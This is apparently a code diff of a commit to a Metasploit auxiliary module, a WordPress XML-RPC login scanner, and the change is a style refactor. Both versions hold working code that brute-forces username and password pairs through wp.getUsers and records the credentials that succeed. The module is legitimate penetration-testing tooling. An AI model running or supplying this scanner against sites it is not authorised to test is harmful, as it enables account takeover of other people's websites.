|
9 | 9 |
|
10 | 10 | require 'msf/core'
|
11 | 11 | class Metasploit3 < Msf::Auxiliary
|
12 |
| - |
13 |
| - include Msf::Exploit::Remote::HttpClient |
14 |
| - include Msf::Auxiliary::Scanner |
15 |
| - include Msf::Auxiliary::AuthBrute |
16 |
| - include Msf::Auxiliary::Report |
17 |
| - |
18 |
| - def initialize(info = {}) |
19 |
| - super(update_info(info, |
20 |
| - 'Name' => 'Wordpress XML-RPC Username/Password Login Scanner', |
21 |
| - 'Description' => %q{ |
22 |
| - This module attempts to authenticate against a Wordpress-site |
23 |
| - (via XMLRPC) using username and password combinations indicated |
24 |
| - by the USER_FILE, PASS_FILE, and USERPASS_FILE options. |
25 |
| - }, |
26 |
| - 'Author' => |
27 |
| - [ |
28 |
| - 'Cenk Kalpakoglu <cenk.kalpakoglu[at]gmail.com>', |
29 |
| - ], |
30 |
| - 'License' => MSF_LICENSE, |
31 |
| - 'References' => |
32 |
| - [ |
33 |
| - [ 'URL', 'https://wordpress.org/'], |
34 |
| - [ 'URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], |
35 |
| - [ 'CVE', '1999-0502'] # Weak password |
36 |
| - ] |
37 |
| - )) |
38 |
| - |
39 |
| - register_options( |
40 |
| - [ |
41 |
| - Opt::RPORT(80), |
42 |
| - OptString.new('TARGETURI', [ true, 'The path to wordpress xmlrpc file, default is /xmlrpc.php', '/xmlrpc.php']), |
43 |
| - OptBool.new('VERBOSE', [false, 'Whether to print output for all attempts', false]) # warning |
44 |
| - ], self.class) |
45 |
| - |
46 |
| - deregister_options('BLANK_PASSWORDS') # we don't need this option |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + include Msf::Auxiliary::Scanner |
| 14 | + include Msf::Auxiliary::AuthBrute |
| 15 | + include Msf::Auxiliary::Report |
| 16 | + |
| 17 | + def initialize(info = {}) |
| 18 | + super(update_info(info, |
| 19 | + 'Name' => 'Wordpress XML-RPC Username/Password Login Scanner', |
| 20 | + 'Description' => ' |
| 21 | + This module attempts to authenticate against a Wordpress-site |
| 22 | + (via XMLRPC) using username and password combinations indicated |
| 23 | + by the USER_FILE, PASS_FILE, and USERPASS_FILE options. |
| 24 | + ', |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Cenk Kalpakoglu <cenk.kalpakoglu[at]gmail.com>', |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + ['URL', 'https://wordpress.org/'], |
| 33 | + ['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], |
| 34 | + ['CVE', '1999-0502'] # Weak password |
| 35 | + ] |
| 36 | + )) |
| 37 | + |
| 38 | + register_options( |
| 39 | + [ |
| 40 | + Opt::RPORT(80), |
| 41 | + OptString.new('TARGETURI', [true, 'The path to wordpress xmlrpc file, default is /xmlrpc.php', '/xmlrpc.php']), |
| 42 | + ], self.class) |
| 43 | + |
| 44 | + deregister_options('BLANK_PASSWORDS') # we don't need this option |
| 45 | + end |
| 46 | + |
| 47 | + def xmlrpc_enabled? |
| 48 | + xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>" |
| 49 | + xml << '<methodCall>' |
| 50 | + xml << '<methodName>demo.sayHello</methodName>' |
| 51 | + xml << '<params>' |
| 52 | + xml << '<param></param>' |
| 53 | + xml << '</params>' |
| 54 | + xml << '</methodCall>' |
| 55 | + |
| 56 | + res = send_request_cgi( |
| 57 | + 'uri' => datastore['TARGETURI'], |
| 58 | + 'method' => 'POST', |
| 59 | + 'data' => "#{xml}" |
| 60 | + ) |
| 61 | + |
| 62 | + if res && res.body =~ /<string>Hello!<\/string>/ |
| 63 | + return true # xmlrpc is enabled |
47 | 64 | end
|
48 |
| - |
49 |
| - def is_xmlrpc_enabled() |
50 |
| - xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>" |
51 |
| - xml << "<methodCall>" |
52 |
| - xml << "<methodName>demo.sayHello</methodName>" |
53 |
| - xml << "<params>" |
54 |
| - xml << "<param></param>" |
55 |
| - xml << "</params>" |
56 |
| - xml << "</methodCall>" |
57 |
| - |
58 |
| - res = send_request_cgi({ |
59 |
| - 'uri' => datastore['TARGETURI'], |
60 |
| - 'method' => 'POST', |
61 |
| - 'data' => "#{xml}" |
62 |
| - }) |
63 |
| - |
64 |
| - if res |
65 |
| - if res.body =~ /<string>Hello!<\/string>/ |
66 |
| - return true # xmlrpc is enabled |
67 |
| - end |
68 |
| - end |
69 |
| - return |
| 65 | + end |
| 66 | + |
| 67 | + def generate_xml_request(user, pass) |
| 68 | + xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>" |
| 69 | + xml << '<methodCall>' |
| 70 | + xml << '<methodName>wp.getUsers</methodName>' |
| 71 | + xml << '<params><param><value>1</value></param>' |
| 72 | + xml << "<param><value>#{user}</value></param>" |
| 73 | + xml << "<param><value>#{pass}</value></param>" |
| 74 | + xml << '</params>' |
| 75 | + xml << '</methodCall>' |
| 76 | + xml |
| 77 | + end |
| 78 | + |
| 79 | + def run_host(_ip) |
| 80 | + print_status("Checking #{rhost}:#{datastore['TARGETURI']} for xmlrpc..") |
| 81 | + if !xmlrpc_enabled? |
| 82 | + print_error("#{rhost} XMLRPC is not enabled! -- Aborting") |
| 83 | + return :abort |
| 84 | + else |
| 85 | + vprint_good('XMLRPC enabled, Hello message received!') |
70 | 86 | end
|
71 | 87 |
|
72 |
| - def generate_xml_request(user, pass) |
73 |
| - xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>" |
74 |
| - xml << "<methodCall>" |
75 |
| - xml << "<methodName>wp.getUsers</methodName>" |
76 |
| - xml << "<params><param><value>1</value></param>" |
77 |
| - xml << "<param><value>#{user}</value></param>" |
78 |
| - xml << "<param><value>#{pass}</value></param>" |
79 |
| - xml << "</params>" |
80 |
| - xml << "</methodCall>" |
81 |
| - return xml |
| 88 | + print_status("#{rhost}:#{rport} - Starting XML-RPC login sweep") |
| 89 | + each_user_pass do |user, pass| |
| 90 | + do_login(user, pass) |
82 | 91 | end
|
83 |
| - |
84 |
| - def run_host(ip) |
85 |
| - print_status("Checking #{rhost}:#{datastore['TARGETURI']} for xmlrpc..") |
86 |
| - if not is_xmlrpc_enabled |
87 |
| - print_error("#{rhost} XMLRPC is not enabled! -- Aborting") |
88 |
| - return :abort |
89 |
| - else |
90 |
| - print_good("XMLRPC enabled, Hello message received!") |
91 |
| - end |
92 |
| - |
93 |
| - print_status("#{rhost}:#{rport} - Starting XML-RPC login sweep") |
94 |
| - each_user_pass { |user, pass| |
95 |
| - if user != "" # empty line fix |
96 |
| - do_login(user, pass) |
97 |
| - end |
98 |
| - } |
| 92 | + end |
| 93 | + |
| 94 | + def do_login(user, pass) |
| 95 | + vprint_status("Trying username:'#{user}' with password:'#{pass}'") |
| 96 | + xml_req = generate_xml_request(user, pass) |
| 97 | + begin |
| 98 | + res = send_request_cgi( |
| 99 | + { |
| 100 | + 'uri' => datastore['TARGETURI'], |
| 101 | + 'method' => 'POST', |
| 102 | + 'data' => "#{xml_req}" |
| 103 | + }, 25) |
| 104 | + http_fingerprint(response: res) |
| 105 | + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT |
| 106 | + print_error('HTTP Connection Failed, Aborting') |
| 107 | + return :abort |
99 | 108 | end
|
100 | 109 |
|
101 |
| - def do_login(user, pass) |
102 |
| - vprint_status("Trying username:'#{user}' with password:'#{pass}'") |
103 |
| - xml_req = generate_xml_request(user, pass) |
104 |
| - begin |
105 |
| - res = send_request_cgi({ |
106 |
| - 'uri' => datastore['TARGETURI'], |
107 |
| - 'method' => 'POST', |
108 |
| - 'data' => "#{xml_req}" |
109 |
| - }, 25) |
110 |
| - http_fingerprint({ :response => res }) |
111 |
| - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT |
112 |
| - print_error("HTTP Connection Failed, Aborting") |
113 |
| - return :abort |
114 |
| - end |
| 110 | + unless res |
| 111 | + print_error('Connection timed out, Aborting') |
| 112 | + return :abort |
| 113 | + end |
115 | 114 |
|
116 |
| - if not res |
117 |
| - print_error("Connection timed out, Aborting") |
118 |
| - return :abort |
119 |
| - end |
| 115 | + if res.code != 200 |
| 116 | + vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'") |
| 117 | + return :skip_pass |
| 118 | + end |
120 | 119 |
|
121 |
| - if res.code != 200 |
| 120 | + if res.code == 200 |
| 121 | + # TODO: add more error codes |
| 122 | + if res.body =~ /<value><int>403<\/int><\/value>/ |
122 | 123 | vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")
|
123 | 124 | return :skip_pass
|
124 |
| - end |
125 | 125 |
|
126 |
| - if res.code == 200 |
127 |
| - # TODO: add more error codes |
128 |
| - if res.body =~ /<value><int>403<\/int><\/value>/ |
129 |
| - vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'") |
130 |
| - return :skip_pass |
131 |
| - |
132 |
| - elsif res.body =~ /<value><int>-32601<\/int><\/value>/ |
133 |
| - print_error("Server error: Requested method `wp.getUsers` does not exists. -- Aborting") |
134 |
| - return :abort |
135 |
| - |
136 |
| - elsif res.body =~ /<value><int>401<\/int><\/value>/ or res.body =~ /<name>user_id<\/name>/ |
137 |
| - print_good("SUCESSFUL LOGIN. '#{user}' : '#{pass}'") |
138 |
| - # If verbose set True, dump xml response |
139 |
| - vprint_good("#{res}") |
140 |
| - |
141 |
| - report_hash = { |
142 |
| - :host => datastore['RHOST'], |
143 |
| - :port => datastore['RPORT'], |
144 |
| - :sname => 'wordpress-xmlrpc', |
145 |
| - :user => user, |
146 |
| - :pass => pass, |
147 |
| - :active => true, |
148 |
| - :type => 'password'} |
149 |
| - |
150 |
| - report_auth_info(report_hash) |
151 |
| - return :next_user |
152 |
| - end |
| 126 | + elsif res.body =~ /<value><int>-32601<\/int><\/value>/ |
| 127 | + print_error('Server error: Requested method `wp.getUsers` does not exists. -- Aborting') |
| 128 | + return :abort |
| 129 | + |
| 130 | + elsif res.body =~ /<value><int>401<\/int><\/value>/ || res.body =~ /<name>user_id<\/name>/ |
| 131 | + print_good("SUCESSFUL LOGIN. '#{user}' : '#{pass}'") |
| 132 | + # If verbose set True, dump xml response |
| 133 | + vprint_good("#{res}") |
| 134 | + |
| 135 | + report_hash = { |
| 136 | + host: datastore['RHOST'], |
| 137 | + port: datastore['RPORT'], |
| 138 | + sname: 'wordpress-xmlrpc', |
| 139 | + user: user, |
| 140 | + pass: pass, |
| 141 | + active: true, |
| 142 | + type: 'password' } |
| 143 | + |
| 144 | + report_auth_info(report_hash) |
| 145 | + return :next_user |
153 | 146 | end
|
154 |
| - # Unknow error |
155 |
| - vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'") |
156 |
| - return :skip_pass |
157 | 147 | end
|
| 148 | + end |
158 | 149 | end
|
0 commit comments